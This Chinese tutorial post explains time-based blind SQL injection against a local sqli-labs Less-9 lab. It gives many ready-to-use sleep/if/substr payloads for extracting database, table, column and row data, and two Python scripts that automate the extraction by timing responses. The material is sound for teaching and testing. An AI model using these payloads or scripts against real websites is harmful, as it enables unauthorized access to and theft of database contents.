时间盲注使用场景
当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。
时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询,从而得到让网页加载时间变长的方式来猜解数据库。
时间盲注使用到的SQL函数
1. if 表达式
if(expr1,expr2,expr3);表达式
如果expr1判断为真,则返回expr2值,否则expr3的值。
例:判断1+1是不是等于2,如果等于2返回“你是个天才”,不等于2返回“3”
2.sleep()函数
sleep(duration) 这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数。
例子:让sql语句5秒后执行
3.substr()函数
substr(string,start,length)函数是截取字符串的函数。
4.ord()函数
ord(character)函数是返回一个字符的ASCII码。
5.length()函数
length(string)函数是否返回一个字符串的长度。
案例演示
演示环境
phpStudy + mysql + sqlilabs
代码分析
sqlilabs-Less-9 代码分析。
从源码中可以看到存在注入点,数据不会输出到页面中,数据库查询无论是正确还是错误显示同样的页面信息。
演示
1.注入点测试。
?id=1’ and 1=2 --+ 页面正常
?id=1’ and 1=1 --+ 页面正常
?id=1" and 1=2 --+ 页面正常
?id=hviurbnierneb --+ 页面正常
1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+` 页面正常
?id=1’ and length(database())=18–+ 页面正常
进行了这么多的测试,页面均正常显示,遇到这种情况可以采用时间注入来判断。
payload:?id=1' and sleep(5)--+
可以看到页面响应时间超过5秒,说明sleep(5)代入到数据库中查询,存在注点,接下来就可以使用if + sleep来猜解数据库信息了。
2.使用时间盲注爆出数据
1.猜解数据库名长度:
payload:?id=1’ and if(length(database())=5,sleep(5),0)–+
数据库长度判断为5,没有延迟,说明数据库名长度不为5,继续
payload:?id=1’ and if(length(database())=8,sleep(5),0)–+
页面响应超过5秒,证明当前数据库名长度为8。
简易Python脚本跑数据库长度
import requests
import time
def get_bdname_len():
db_len = 0
i = 1
url = "http://127.0.0.1/sqlilabs/Less-9/"
while 1:
payload = "?id=1' and if(length(database())=%d,sleep(3),0)--+" % i
start = time.time()
res = requests.get(url=url+payload)
timeout = time.time() - start
if timeout >= 3:
db_len = i
break
else:
i += 1
return db_len
db_name_len = get_bdname_len()
print(db_name_len)
运行效果:
2.猜解数据库名
通过ord函数或者ascii函数进行猜解数据库名
数据库名太长,挨个猜解太费时间,可以是用SQLmap或者写一个脚本自动去跑。
手工建议采用二分法来猜解提高效率。
payload:
?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+
页面立马加载,说明字符大于100
那么在尝试
?id=1’ and if(ascii(substr((select database()),1,1))>118,1,sleep(5))–+
页面5秒后加载,说明字符小于118
?id=1’ and if(ascii(substr((select database()),1,1))>110,1,sleep(5))–+
页面立马加载,说明字符大于110,那么现在字符就在110-118这个区间了
?id=1’ and if(ascii(substr((select database()),1,1))=115,1,sleep(5))–+
页面立马加载,说明第一个字符ASCII是115 也就是“s”
if() 第一个参数为真(对),返回第二个参数,否则返回第三个参数
Python脚本跑数据库名
def get_dbname(db_len):
global database_name
db_name = ""
for num in range(0,255):
# 构造payload,发起请求。
start = time.time()
payload = "http://127.0.0.1/sqlilabs/Less-9/?id=1'" \
" and if(ascii(substr((select database()),%d,1))=%d,sleep(5),null)--+" % (db_len, num)
res = requests.get(url=payload+"%23")
end = time.time() -start
# 跟据正确页面响应时间猜解是否正确。
if end > 3 :
# 返回正确记录正确值并转换成字符
db_name += chr(num)
# 把正确的值插入到列表中,
database_name[db_len] = db_name
break
print(db_name)
# 用来存储正确数据
database_name= ["","","","","","","","",""]
thread_list = []
def main(de_len):
for i in range(1,de_len+1):
# 根据数据库长度生成对应的线程。并存储到列表中
t = Thread(target=get_dbname,args=(i,))
thread_list.append(t)
t.start()
for s in range(len(thread_list)):
thread_list[s].join()
print(database_name)
if __name__ == "__main__":
main(8)
运行效果
猜解表名长度:
payload:
?id=1’ and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))–+
猜解表名:
payload:
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–+
猜解列名:
?id=1’ and if(ascii(substr((select column_name from information _schema.columns where table_name=‘表名’ limit 0,1),1,1))=105,1,sleep(5))–+
根据得到的表名以及列名猜解数据:
?id=1’ and if(ascii(substr((select 列名 from 表名 limit 0,1), 1,1))=68,1,sleep(5))–+文章来源:https://www.toymoban.com/news/detail-656261.html
猜解列名、表名、数据名都可以编写脚本或者SQLMAP来帮助我们得到数据。虽然有SQLMAP神器,但自己编写脚本适用性更广。文章来源地址https://www.toymoban.com/news/detail-656261.html
到了这里,关于SQL注入-时间盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!